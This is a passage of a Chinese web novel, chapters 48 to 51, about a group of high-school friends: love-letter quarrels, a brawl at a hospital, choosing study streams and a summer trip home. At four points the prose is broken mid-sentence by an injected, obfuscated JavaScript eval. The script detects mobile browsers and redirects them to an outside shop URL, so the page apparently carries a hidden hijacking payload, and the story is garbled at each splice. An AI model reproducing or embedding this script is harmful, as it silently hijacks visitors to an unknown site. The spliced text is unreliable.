“是啊。”老板侄子演示一遍拳腿组合动作,让岳清卓跟做,“所以学点身手防身很有必要。” 徐澄月玩笑道:“见缝插针打广告啊哈哈。” “广告是广告,但我不是危言耸听啊。”老板侄子旋转45度,到徐澄月身边,“两点钟方向,有个男生一直盯着你看,认识的?” 徐澄月扭头去看,又扭回来,“不认识。” 老板侄子回到原位,“那他怎么跑过来了?” 话音刚落,男孩已经到他们面前。他欣喜地看着徐澄月,见她面露茫然,他自报家门。三个月前的早上,在平阳小区门口,被老人碰瓷她帮忙解围的那个男生,他叫胡烁。 “是你啊。”徐澄月记起来,听见他名字,又不太确定地问:“胡说?” 名字被听错不止一次,胡烁并不介意,“是闪烁的烁。没想到在这遇见你,你也来练拳吗?” “不是,陪我朋友来的。”徐澄月打量他一番,也是个肌肉紧实的人,不应该啊,“你刚学吗?” 胡烁明白她的意思,“不是,学好几年了,但他是老人,我不好动手。” 也是,动不动手都是他吃亏。 在这里碰上,胡烁顺势重提上次没约成功的答谢饭,徐澄月征得岳清卓同意,答应了。 三人来到拳馆附近的冰室,点了奶茶小吃,互相聊起来。 过程中得知他也在朝中上学,同读高一,只不过不在同一层,所以基本没遇上。 徐澄月感慨缘分,举杯和他相碰。 胡烁继续滔滔不绝。 他出手阔绰,点了许多东西,陆续送上来,徐澄月尝到一道猪排和咖喱鱼蛋不错,起身又去点了两份打包。 三人将食物解决完毕,在公交站分开,各自搭乘不一样的公车。 临上车前,胡烁支支吾吾,最后上车了,趴在窗边朝徐澄月说:“学校见啊。” 徐澄月点头,挥手。 潇洒的一早上过去,离家越近,徐澄月越头疼,该使什么法子让江少爷消气。可很奇怪,这次也不是她的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273967|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她充其量就是牛郎织女里那座鹊桥,要不要渡桥完全取决于他与对方。两国交战还不斩来使呢,更何况是联姻亲这种喜事。 她没有头绪,倒是岳清卓瞧出端倪。 “江少爷又闹什么脾气?”岳清卓见她只拎一份食物就知道了,正常情况她都会给几个人带,除非某少爷闹腾,她需要用一些特殊对待凸显他的重要性。 徐澄月积极寻找同盟支持,“你也觉得他老无缘无故闹脾气对吧?” “嗯,小脾气多得很,心眼又小,小肚鸡肠,我天天都想摔他,不过,”岳清卓十分公正:“小脾气都是当场发完就没了,能让他隔夜的,应该不小。” 徐澄月叹气,把昨晚的事告诉她,回忆过程中好似摸索出他生气的原因。她停下述说,开始思考。 岳清卓以为她讲完了,忧愁怎么办,她特别义气地站到她这边,捋袖子怒斥:“他又抽什么疯,情书就是给他的,还敢和你吵,等着,回去我摔他。” 徐澄月连忙安抚,江韫北虽然高大健壮,但在修炼多年的岳清卓面前,还是小喽啰一个。 到家,江韫北已经醒了,在厨房里喝水,看见她,怒目横眉,为彰显不会轻易被哄好的决心,将水一饮而尽,水杯用力掷在桌上。可忘记水煮好才晾了五分钟,喉间一烫,他强装镇定全部咽下,嘴连带喉管和胃,一阵火辣,没忍住,咳出来。 徐澄月连忙接一杯冷水给他,他很有骨气没接,转身要走。 “江韫北,我们要讲道理的,对吧?”徐澄月重复昨晚的话。 江韫北脚步一顿,他听出她语气里不同于常的严肃,就着台阶停下,反正是她先喊他的。 高大身影略有松动,徐澄月把他拉到餐桌上,秉持先柔后刚原则,先让他用冷水漱口,再把打包的猪排和咖喱鱼蛋拆开,强调两样东西都经过她的味蕾考验,可以拿90分。 江韫北表情勉强,动作实诚。 徐澄月一步一步诱导:“江韫北,我们要讲道理。我是不是只帮送了信?”见他张嘴,徐澄月立马补充:“你只能回答是或不是!” 江韫北挑眉,瞥她,约莫一分钟,幅度很小地点头,插起一颗鱼蛋。 “我没经过你同意,帮你收东西,是我不对,但我解释了,是因为那个女孩塞给我,我追不上才拿回来的,是不是?” 江韫北蹙眉,几十秒后,再次点头。鱼蛋吃掉一半。 “那你还朝我发脾气,是不是你不对?” 江韫北眉头皱得更深,但她确实在陈述事实,没错。十几秒,他又点头,鱼蛋剩最后两个,他转向猪排。 “昨天你的话我仔细想了,你确实是未雨绸缪,虽然我觉得这个世界善意多点,但多个心眼也没错。” 这说的江韫北认可,直接点头。 “可那会你没有说服我,而是又发脾气了,还把我关门外,还把烤鸽抢走!这是不是你的错!”她的声音陡然变大。 江韫北嚼着猪排,这回不敢犹豫,直接点头。 徐澄月满意了,语气又放轻,“知错就改就是好同志,摩擦使我们的友谊更加牢固。好了,警报解除,回家睡午觉。” 江韫北被她绕进去,还没理顺,见她快走出厨房,喊她回来,最后两个鱼蛋递过去,徐澄月“嘿”一声,一手一个,欢喜带走。 江韫北目送她离开,脑子里想着她刚刚问的问题。 不是讲道理吗?怎么讲着讲着变成他的错了?徐澄月的理,就是倒打一耙?江韫北暗叫完蛋,被她套进去了! 他觉得还有辩论的空间,起身准备回房换衣服,但触及两个空盒子,又坐回去。算了,他想,吃人嘴短,蠢月亮也不是蠢一两天了,以后再说。这回……就先原谅她。 索性不挪地了,盯着两个空盒子,开始陷入沉思。 49. 第 49 章 情书风波在那后面一周逐渐平息,得益于江韫北“杀人一千自损八百”的招数。 那一周里,他频繁和方之敛、俞麒、梁嘉和以及平时玩得好的几个男生,出现在学校各个角落,勾肩搭背,举止亲昵。 据一干目击证人说,他和梁嘉和手挽手去倒水,在食堂给独臂方之敛喂食,坐俞麒的车并紧搂他的腰,在足球队里和各个男队员发生友爱互动。 消息瘟疫似的传了几天后,给他递情书的人渐渐少了。 杜可颐私下偷偷和徐澄月吐槽:“男女恋是早恋,男……难道就不是了?” 徐澄月幸灾乐祸:“以江队长的智力水平,能想到这个已经很不错了,莫要强求。” 杜可颐回头看一眼还在费力演戏的人,笑倒在徐澄月身上。 局势控制到一定程度,方之敛连忙叫停,生怕情书停了,他们要开始写检讨书。 俞麒倒无所谓,反而挺乐意配合江韫北。从初中开始,他就陆续收到不同类型的示好,之前有俞麟能帮他挡一挡,高中之后基本全靠自己,既要拒绝,又要不令人难堪,挺难的,久而久之他也烦了。江韫北这招虽险,但能顶一阵。 得知他想法时,三人正在俞麒房间电脑上看剧。江韫北甚欣慰,凑到他身边分享些新点子。 两人讨论得欢快,徐澄月却听得诧异,这俩平时不是不爱看偶像剧吗?怎么那么多熟悉的桥段? 她默默把《恶作剧之吻》的碟片退出来,随手点开一档音乐选秀节目。 两人制定好下周计划,凑过来一块看。主持人播报着选手和投票通道,徐澄月摸到一支手机,跃跃欲试。编辑好想投的选手,她没急着发送,先问好友。 江韫北指着屏幕上左脸笑起来有酒窝的人,“我喜欢这个,又帅,唱得又好,还会转音,太妙。”话落给他们来了几句,然后十分做作地扬扬下巴,“要我去估计也行。” 俞麒沉默,徐澄月毫不给面子,“估计够呛。” 俞麒选了会乐器的老师,“他的手风琴和键盘弹得不错。” 徐澄月的选择和他们想得完全不一样,但她不受影响,按下发送键。 五分钟后,江韫北的咆哮伴随广告齐响:“徐澄月!你用我的手机发短信!” 徐澄月往口袋一摸,才发现她没带手机出来,但他们几人是一块买的,选的型号也一样,“手误手误。” “你居然选了这个!”爱好不同,江韫北决定睚眦必报:“等会我要用你的手机投!” “没话费,想投江少爷先充钱。” 三两句,两人又杠起来。等广告结束,回到比赛界面才消停。 决赛第一场看完,三人喜欢的选手都晋级,于是开始押宝冠军。 争得热火朝天,江韫北视线一偏,瞥到俞麒书桌上的奖杯,起身去看,还真是俞麟的,“俞麟的奖杯怎么在你这?” 他们兄弟俩各一个房间,不过有时俞麟撒娇瘾犯了,会缠着和他睡。 “他给我的。” 比赛结束当天给的,他回不来,火急火燎让他去体校找他,一见面,俞麟就将奖杯往他怀里塞,语速飞快地说了一大段话,中心思想大概是他赢的第一个奖杯,一定要给他。前后不过五分钟,又要回去训练了。 他捧着奖杯无奈笑,说回去再给也不迟。 俞麟顶着一张被晒微黑的脸,笑得和台剧女主一样甜,“我等不及回家了。” 回来后,俞麒就将奖杯放在书桌最显眼的位置。 江韫北顺手抽张纸擦拭,奖杯很干净,擦不出灰尘,“这家伙,对了,他比完赛什么时候回来?” “月底。” “等着吧,等他捧回来一人一个。” 中场休息结束,继续找剧看。 俞麒瞄眼电脑右下角时间,奇怪道:“阿敛去复查怎么还没回来?” 徐澄月挑着剧,回答他:“拆石膏,应该要花点时间,清卓陪着呢,方叔也在。” 但过了午饭时间也没等回他们。 江韫北打电话过去,几句话后,脸色一变。 三人打车到一院,外科那层楼闹闹哄哄,沿路走去方爸办公室,有人在小声讨论不久前的乱子。 还没进去,就听方爸和另外两位医生询问方之敛的情况,心急的几人破门而入,见到本该拆石膏的方之敛,石膏还完完整整在他手上,而他垮着肩,衣服头发,有些凌乱。 江韫北进去先找岳清卓,“我姐呢?她有没有事?” 方之敛电话里告诉他,方妈这边有病人家属上门闹,岳清卓为了护住方妈,和人动了手脚。 方之敛安抚他,“后背撞到墙上,我妈带她去拍片了。” 电话里没说详细,方之敛将经过补全。 他们到医院才挂上号,大厅和诊室一通混乱,人群中听到外科的李医生被家属打了,方之敛立马去找方妈,刚到科室门口,就见方妈和几个男人对峙,身后一个护士哭弯了腰。 男人要动手,方之敛二话不说上前拦,试图稳住他的情绪,但他越来越躁,一个劲冲他们,几度将将碰到他的伤手,在他再一次扒拉方妈和护士时,岳清卓终于忍不住,一双拳脚敌四人,顶了一会,但最终寡不敌众,被两个胖男人撞到墙上。 听到这,江韫北气急败坏:“看看看看,我说得没错吧,岳清卓当自己铁打的啊!学了点手脚就要行侠仗义,她那身板能挨几拳!” 他一火大,忘了场合,吼得格外响。徐澄月晃晃他手,提醒他这是在医院。 他歇气,想去找她,正好方妈领她回来。 他瞪大眼,手插腰,正准备开训,嘴被人捂住。 徐澄月站在他身侧,踮着脚,以一个格外怪异的姿势让他住口,“要死啊,都说是医院,禁大吵大闹。” 得到他不吵的保证,徐澄月才松手。 岳清卓看懂他脸色,赶在他开口前主动报告:“我没事,拍片了也没问题,好好的。” 几人眼睛齐刷刷转向方妈。 方妈点头,“肌肉挫伤,开了药,回去涂两天就好。”简要说明情况,她让几人去医院食堂,随后雷厉风行叫上方爸和护士长,要去向那些病人家属讨说法。她走在最前头,气势汹汹,全然没了平日的平易近人。 几人听话去了食堂,点好餐,边吃边说。 岳清卓:“我一开始是把他们唬住的,谁知道他们仗着人多,不过被推那一下后,我就往边上那些机器躲,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340817|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敛和我说过,病人不敢砸机器,我聪明吧?” 徐澄月和俞麒不敢苟同她的聪明。 “清卓……”方之敛头疼。 江韫北冷嘲热讽:“这么厉害,怎么没把阿敛护住?” 岳清卓看看他的胳膊,挠挠脸,不好意思道:“阿敛的手,是我弄的,他来拉架,被我一甩手,又给撞了一下。” 原本可以拆的石膏,只得再打上一周。 “但我还是很强的,要不是我接住,那一拳就砸方姨身上了,多疼啊,我练了那么多年拳,身强体壮的,肯定比方姨扛打,对吧阿敛?” 方之敛皱眉,:“砸谁身上都疼。” 江韫北只觉她沾沾自喜的模样欠揍,“等着姑姑回来揍你吧。”江菀近日去广州批发衣服,下周才回来。 岳清卓怂了,贿赂他,“包你一个月零食,别告诉我妈。” 江韫北斜她一眼,低头继续吸溜面。 徐澄月夹一个鸡腿给她,“清卓,纸包不住火,逃得过我们,逃不过方叔方姨。” 岳清卓愁眉苦脸,啃鸡腿的力气都没有了。 方之敛也把自己的鸡腿夹给她,“是帮我妈,姑姑不会骂你的,快吃吧,消耗那么大体力,吃点补补。” “有道理,我妈讲理的。”岳清卓埋头补充体力。 吃完饭,和两位家长交代过,几人便回家了。 岳清卓中午没睡觉,又和人切磋一番,现在困得很,一直挂在徐澄月身上。 徐澄月好声好气哄她:“别睡啊,回去洗澡给你擦完药再睡。” “好困好累。” “真没用!”江韫北盯着她软趴趴的后脑勺,没好气吐槽,最后还是看不下去,在她面前蹲下,“上来吧。” 岳清卓受宠若惊,上手揉他刺猬一样的发顶,“哎呀我们家小北懂事了,知道心疼姐姐了。” “少废话,快点。” 岳清卓不客气了。 江韫北背起人,故意颠几下,还没忘医院那茬儿,继续数落:“就这点斤两,还敢和人硬碰硬?岳清卓我看你是膨胀了,下次你再敢给我接一个试试!下个月就把你那课停了,啥费都不给你出……” 其他三人跟着他们身后。俞麒难得见他唠唠叨叨模样,笑着说新奇。 新奇?江韫北的碎嘴徐澄月可深有体会:“我11岁那年从屋顶上摔下来,他一直念到现在,说唠叨,无人能出其右。” 方之敛也笑,“韫北,是挺嘴硬心软的。” 岳清卓背上的挫伤并不严重,她常年运动,体质不差,在江菀回来之前就好全了,但不免挨一顿思想教育。江菀的想法和江韫北出奇一致,思想功课做好便劝她停掉跆拳道课,江菀一根筋,以为没有手脚傍身,再想替别人出头她也会掂量掂量。 岳清卓被劝烦了,扔下一句话:“我练跆拳道,为的就是保护我身边的人,就算停课不学了,我也照样!” 两人愣在原地,岳清卓懒得理会,直接躲到方之敛家,添油加醋向他诉苦。 和她练拳后第一次问她那样,方之敛认真问:“你还想学吗?” 岳清卓点头。 “那就继续学,受伤也不怕,有我……我爸妈在。” 50. 第 50 章 期中考过后,学校开始准备文理分班,要在学期结束前定好。因此这次考试试卷难度与评分标准,都按着高考标准来,好让同学更清楚自己的优势。 关乎高考与大学专业甚至是将来职业道路的一件大事,老师学生都重视。课间经常有学生往办公室跑,找班主任分析现状,班里班外同学遇上了,开口问的也是:“你选文选理?” 徐澄月最近也收到不少提问,在多数同学还模棱两可时,她坚定回答:“选理。” 她没询问任何人意见,自己做的选择,现实情况摆在那,她物理和英语成绩不错,三大主科和理综她都有一门优势科目,只要后面两年保持不退,一本线是够得到的。其他科目再拉一拉,冲刺重本也有希望。况且她的地理一塌糊涂,地理老师像催眠大师,每次上课必打瞌睡,专业名词知道老多,但画个等高线都要思考许久,一年下来,从没及格过。这更让她坚定自己的选择。 身边几个人,阿敛和俞麒不必说,物竞预备役选手,已经在理科安营扎寨了,清卓理科成绩好,自然也不纠结。只剩江韫北和何意霖,两人科目水平都很均匀,但均匀也意味着没有竞争力。 中午吃饭,两人在食堂大眼瞪小眼。 江韫北递一瓶豆奶给她,“就剩咱两个难兄难弟……难兄难妹了。” 何意霖举豆奶和他碰杯,“等两大学霸帮我们分析吧。” 俞麒和方之敛,一人一个,正在将他们单科过往的成绩做函数分析与概率分析,用数据给他们提供选择。 本子上都是密密麻麻的数字与图像,饭搁在手边,算一下舀一口。 岳清卓看不下去了,敲敲他们的餐盘,“好歹让脑子歇歇啊。” 方之敛配合地停笔,猛塞几口,俞麒仍旧埋头。 何意霖和江韫北感激涕零,跑去给他们加菜了。 徐澄月坐在俞麒旁边,颇有兴趣地看着他的计算过程,跟上他的速度算出了答案,就奖励自己啃口鸡腿。 眼尖发现他算错一个,立马“哎哎哎”地唤:“这这这,进错位了!” 俞麒笑了笑,改过来,夸她:“真细心。” 徐澄月得意:“没想到我也能跟上你的速度。” “进步很大。一起?” 俞麒其实早发现她在算了,声声轻轻的“yes”,他听得到,只是分开一点注意力在想她什么时候会开口。 “好啊好啊。” 徐澄月也丢下筷子,贴近他手臂看。 江韫北打完菜回来,就看见两人这副肩贴肩,脑袋挨脑袋的模样。他眉一皱,后槽牙一咬,忽觉心里有点不是滋味。 说不上来是什么,就是有种想上去把俞麒拉开丢出食堂的冲动。 他闷闷地走过去,餐盘放在他和方之敛中间,再绕到他和徐澄月背后,观察一会,在声带里装上个喇叭:“别算了别算了,先吃饭。” 俞麒头也不抬,“没事,快好了。”他停笔,等徐澄月的答案。 徐澄月被吓得一颤,但来不及骂他,“0.64?” “对。” 徐澄月欢呼,从江韫北刚放下的菜中夹一块鸡块,“这题型你之前教过我一次,我就会了,厉害吧?” 俞麒侧眸,点头肯定:“你数学最近进步很快,三大主科,你快拿下俩了。” “攻城掠池,指日可待!” 江韫北故意和她较劲,点点她肩膀:“你这是赤裸|裸的侵略!” 徐澄月头也不转,精准抓住他右臂反手一拧,“那你就是战俘!” 江韫北气呼呼地甩开她的手,坐回去大口吞饭。 “你怎么不吃菜啊?”何意霖给他夹了一筷子菜,对他忽变的情绪感到不解。 “阿姨今天有失水准,和平时不一样!”平时徐澄月会和他在吵吵闹闹中度过一顿午餐。 “啊?”何意霖认真尝了每道菜,“不会呀。” 徐澄月横他一眼,对何意霖说:“别理他,少爷病又犯了,你快吃,别饿着。” 江韫北嘴里塞满饭,无法还嘴,心里却咆哮不停:好啊徐澄月你看都不看我一眼问也不问一句就只关心何意霖吃没吃饱俞麒那破东西算没算完! 艰难把饭吞下去,进了胃里,像和一桶碳酸饮料掺到一块,涨得很,气推着还没消化的东西,一股一股往上冲。 他捶着胸口向他们宣布:“别,嗝——别,嗝——”停下来把嗝打完,继续说:“别算了,我选理。” 几人纷纷望向他。 岳清卓疑惑:“你是怎么在一碗饭里思考出答案的?” “这很难吗?我喜欢就行。”江韫北硬装。 岳清卓骂他:“那你不早说,让俞麒白算这么久。” 江韫北哼一声,他也后悔没早说。 俞麒正好在他说出的同时算出答案:“和我算的一样,选理科优势大点。” 徐澄月说:“可以啊江韫北,按近五年高考理综出题偏向来看,你几次拿高分都是踩中高考常考题型和知识点,甚至一两个冷门的你都中了,你是住在高考理综出题老师脑子里的人啊。” 江韫北胀气的胃被这句话拯救,嗝也不打了,骄傲得很:“欢迎高考找我押题。” 徐澄月拿胳膊肘杵他,“夸你两句就上天。” 方之敛也算好了何意霖的,文科的优势比理科高10%。 “这样啊。”何意霖朝他道谢,把买的饮料给他。 好像和抛硬币一样,硬币还在空中时,心中那杆称已经不自觉做出倾斜,倾斜的方向与结果不一致,或许答案就出来了。只是她还在犹豫,但没让朋友们知道。 午饭结束后回教室,徐澄月知道江韫北只干了一碗白饭,打算把最后一个面包给他垫垫肚子,先喊他一声,转过身去,他不在。 他同桌回答:“走廊上。” 徐澄月看过去,他正接过何意霖给的三明治。 分科表交上去,每个人心中的石头落了地,把另一条路堵死,专心往那条路上走,此后若没变故,大概率是不会往回走。 期末考试,成绩和排名的分水岭就出来了,选理科的同学文科成绩拖了后腿,选文科的同学则反之。没有变化的,大概只有20班那帮人。 学校这次贴心地把总榜、文科榜、理科榜都贴上,希望挽救一部分同学的信心。 成绩出来了,暑假也如期而至。学校一早告知过,升高三那个暑假会提前开学一个月,这意味着这个暑假是他们高中生涯唯一一个完整假期。 徐澄月向来没有“假期就是拿来超越别人”的信条,刚出学校就兴致勃勃问朋友们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389772|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么打算。 何意霖沮丧地告诉她,她报了数学和地理辅导班,假期要在补习中度过。 她最终还是选了文科,其实收表截止前一天她还犹豫不决,问了许多人意见,把他们投的票都记下,最后一个投票人是徐澄月。 她没有直接问,而是反问她为什么坚定选理,得知她的自我分析后,她才小心试探,如果有某些除学习以外的因素动摇她的选择,她还会这样选吗? 徐澄月毫不迟疑点头,“每个阶段有每个阶段的重中之重,像大人,他们现在的重中之重可能是家庭,也可能是职业生涯,我们呢,是学习,是高考。我还是秉持学习和高考不能代表一个人的一切,但并不代表,在这个时候,可以降低它的重要排序。既然它是最重要的,那其他可能影响到它的,我就会舍弃,等能力足够了或者梦想完成了,如果当时影响我的东西还在,就努力去找回来,不在了,就让它过去。我很清楚,现在最重要的是学习,虽然有时候也会偷懒也想着学习先放一放玩了再说,但还是会分清轻重。想通这点之后,就不会让自己走岔啦,不小心走岔了也能拽回来。” 这段回答,是促使何意霖做决定很大一部分原因,也让她第一次看见,看起来嘻嘻哈哈随心所欲的徐澄月,其实有这样高于她所以为的思想深度和成熟理智。 知道何意霖的安排,徐澄月有些遗憾,她原本想制定一次他们一块出游的旅程。 何意霖反过来安慰她,让她好好玩,记得带礼物回来就好。 但旅程也迟迟提不上日程。 俞麒和方之敛十月份有一场省物竞赛,暑假他们要抽出一个月时间补习备考。 对补习和假期向来无所谓的俞麒,这次却难得有意见。他已经习惯身边有朋友的感觉,玩闹时有徐澄月江韫北,学习时有方之敛岳清卓,未来一个月孤零零的生活,他有些抗拒。于是颇有怨言地望向方之敛,后者抱歉一笑。 得知他退出物理竞赛是早上,补课时间下来后他说的。 俞麒不解,他明明是感兴趣的。 方之敛也不否认:“我现在也很感兴趣,但是竞赛和高考不能两全,我分不出那么多精力,我也用那套方法给自己算了,得出结果是高考。” 俞麒道出问题所在:“影响因子是什么?” “你知道我以后想当医生吧?” 俞麒点头,一直听方叔方姨讲,他没事就爱拿医学类的书看。 “其实想过退出很久了,只是那时觉得我还有多余时间和精力,但这以后不一样,学习上肯定会侧重竞赛方面,我倒也有信心拿到保送资格,但专业大概率不会是医学类,所以还不如现在就打住,把精力放到高考上。鱼和熊掌,总要选一个。” 换做以往,听到这后,俞麒便会理解并祝福好友,但几年并肩同行下来,他有些不舍,想尝试劝一劝:“为什么那么喜欢医学?” 方之敛说:“受我爸妈影响吧,从小耳濡目染,渐渐就喜欢了。虽然有时候看到一些社会事件会为医护人员感到不值,像上次我妈那事,但还是有种执拗,像看看到底为什么,能改变什么。” 话到这,俞麒也知道他的决心了,但隐约觉得这不是全部,他第一次打探别人的隐私:“只有这个原因?” 方之敛没回答,但脸悄悄红了。 51. 第 51 章 假期第一天,徐澄月在一片安静中起床。 父母上班,伙伴们补习的补习,训练的训练,几人中,属她和江韫北最清闲。 “六弟隐身了”群聊里,她看着朋友们报上来的空闲时间,参差不齐,也懒得征求他们意见了,直接拍板决定:旅行时间定在开学前一周。 怕消息被刷上去,她又发了个群公告。 洗漱吃过早餐,打包好木雕工具,准备去许琳店里消磨一天。 双开木制大门紧闭,上面贴一张粉红的闭店通知:店主外出走访学习,闭店一个月。 徐澄月背着一大摞东西,满额大汗,蹲在门口给许琳发消息。大约在忙,她没回复。 看着外面要把人晒化的太阳,徐澄月懊悔出门前没带防晒工具。她下楼才发现自行车爆胎忘记修,又想着会待到傍晚再回去,索性直接走过来。但她低估盛暑太阳的威力,现在满身汗,一身黏乎。 中午十一点,这个时间江韫北应该醒了,她打个电话过去,让他过来接。他嘟嘟囔囔不情不愿,她撂下一句“快来,我等你”就挂了电话。 等待的时间她也不浪费,门这有个屋檐,能挡一点阳光,又是顺风向,偶尔吹来一阵风,她席地而坐,拿出木头开始刻。 下学期学校有个手工艺术品比赛,她打算参加,想法初成形,画稿也画好了,本来今天是想来许琳这做泥坯的,她不在,干脆跳过这步。 也不知过了多久,汗液滴到木头上,僵硬的脖颈传来不适,她才扭动着脖子抬头,看见不远处的人,差点把脖子闪了。 江韫北不知道犯什么病,蹲在对面树下,双手捧脸呆呆朝她望,大白天有些瘆人。 “你搞什么鬼,来了也不说?” 江韫北懒洋洋起身,推着车子过去,倒打一耙:“谁知道打断徐大师创作会不会被打。” 徐澄月觑他:“有病。” 江韫北把帽子防晒衣丢给她,拿过她的家伙,“上车,热死了,出门也不知道带把伞戴个帽子,放个假人以为你去非洲两个月游了。” 徐澄月反唇相讥:“是,比不上江少爷娇生惯养白白嫩嫩,不知道的以为你是《聊斋志异》里被吸了精气的书生。” “徐澄月,你能不能有点求人帮忙的自觉?” “不能。” “把你摔下去!” “你试试!” 两人一路拌嘴到家。 家里没人,小菀姑姑在店里,中午走不开,岳清卓今天一天待在拳馆,也不回来吃饭。 “阿敛呢,不是在家学习?” 江韫北指着桌上丰盛的三菜一汤,“你以为这些是谁做的?” 他们几人里,也就方之敛能捣鼓点吃的。 “他人呢?”徐澄月夹一块鱼。 “打包给岳清卓送饭去了,这天,也不嫌热。” “你以为都跟你一样懒?” “徐澄月,你搞搞清楚是谁把你接回来的!” 徐澄月懒得和她争,“是是是,江少爷辛苦了,吃鱼吃鱼。” 方之敛把自己那份也打包了,两人把菜都扫荡完。饭后,江韫北洗碗,徐澄月洗水果。 一串青提洗完,徐澄月靠在洗水池边,环顾安静如鸦的房子,叹气感慨:“怎么这个假期和以往不一样呢。”她杵杵江韫北大臂,豁,还挺结实,“要不咱俩早点回去陪阿爷阿嬷?” 江韫北无可无不可地点头,“来颗葡萄。” 徐澄月摘一串,吊在他嘴边,继续说:“那下午就走。” 两人说干就干,收拾几件衣服,各自给家长留了消息,等日头没那么晒,搭上回村的公车。 假期,车上人少,后排都是空的,两人坐同一排,四周又空荡荡。 徐澄月再次感叹,以往回家几人一起,多热闹。 江韫北轻拍她后脑勺,“你今天怎么老念叨过去?人哪能一直活在过去,我们都长大了,各自有事做,肯定不能一直在一起。” 徐澄月打掉他的手,“我知道,这不是感慨嘛。你说,这才高中就这样,那等我们大学,工作了,天南地北的,会不会更难聚到一块了?” “也许吧,谁知道呢,可能我们几个不一样,想见面了吆喝一声,哪都能聚。但有句话说得对,没人能陪你一辈子。” “哟江少爷,怎么突然深沉了?”徐澄月歪头调侃他。 “还不是你在那伤春悲秋的。” “不说了不说了,都是庸人自扰,还是说说回去阿爷会煮什么好吃的。” 她情绪来得快去得也快,这会已经趴在窗头看风景,手指无聊地在玻璃上一下一下点着。 车内安静下来,只剩到站播报的广播音。 江韫北侧眸看她,只瞧见她的侧脸。好像从初中开始,身体开始抽条后,她那张略微圆润的脸,褪去婴儿肥,棱角逐渐显现,从额间到鼻头再到下颔,构成一条令人舒服的弧线。五官也长开来,尤其一双眼睛,时常炯炯有神,乌黑的眼珠子一转,眼底都是明晃晃的狡黠,小狐狸似的。 他突然笑了,也不怪她感慨,时间确实快,当初压得他起不来的小胖女孩,已经出落得如此俏丽,一不小心,就移不开目光。 中午那会也是。 “我好像说错了。” “啊?”徐澄月转过脑袋,风吹起她散在鬓边的碎发。 江韫北看着她,“也许,是会有人……” 广播声让他的话尾戛然而止:“云水村,已到站——” 徐澄月迫不及待下车,“回家了回家了!” 江韫北拎起她的书包,无奈地跟上她。 傍晚的云水村还是记忆中的样子。 翻滚的海浪,微热的晚风,追逐的小孩,田间升起的炊烟,沿街喷香的小摊……一切都没变。 没有告诉阿爷要回来,他准备的晚餐很简单,一碟花生米,一盘拍黄瓜,一盘隔顿的肉。 徐澄月插着腰,绷着脸,从盘子到菜一件件数落一遍,怪他又不听话囫囵吃三餐。 阿爷被训得一动不敢动,给一旁看乐子的江韫北使眼色,江韫北装作看不到,还跟在徐澄月后头一通附和。 等她说累了,阿爷立马明志,下次一定不这样了。 徐澄月学乖了,不信他,“要写个保证书,如果下次再犯,就,就……”阿爷无欲无求的,没什么可以拿来“威胁”。 江韫北精准握住他的命脉,提醒徐澄月:“不给他酒喝!” “对!哎不对,江叔本来也不让阿爷喝酒。” 江韫北深谙老头子伎俩:“你以为他那么听话?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409177|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那怎么才是不给他喝?” 江韫北附到她耳边小声说,阿爷听不到,气呼呼吼“臭小子起什么鬼点子”。 徐澄月赞同,和她击个掌:“就这么办!阿爷,下次再犯,就不给你喝酒,至于怎么不给你喝,到时就知道了。” 阿爷吹胡子瞪眼:“澄澄,你和小兔崽子学坏了” 徐澄月挽住他撒娇:“那还不是怕你亏待自己嘛。” 阿爷拿他们没办法,签下保证书。 时间不早,阿爷便没再下厨,指使江韫北去镇上买几个小炒。 徐澄月摆好碗筷跑去隔壁,门还关着,阿嬷还没回来。她留些菜出来,以防阿嬷没吃晚饭。 餐桌照旧支在天井,三人一边吃一边侃大山,兴致上来,玩起划拳,阿爷喝酒,他们喝饮料。 吃到一半,听见阿嬷由远及近的吆喝。 还没见着人,就听她高兴地喊阿爷:“老江,你看我给你带什么好东西来了。” 江韫北机灵,跑出去迎她,两人亲亲热热进屋。 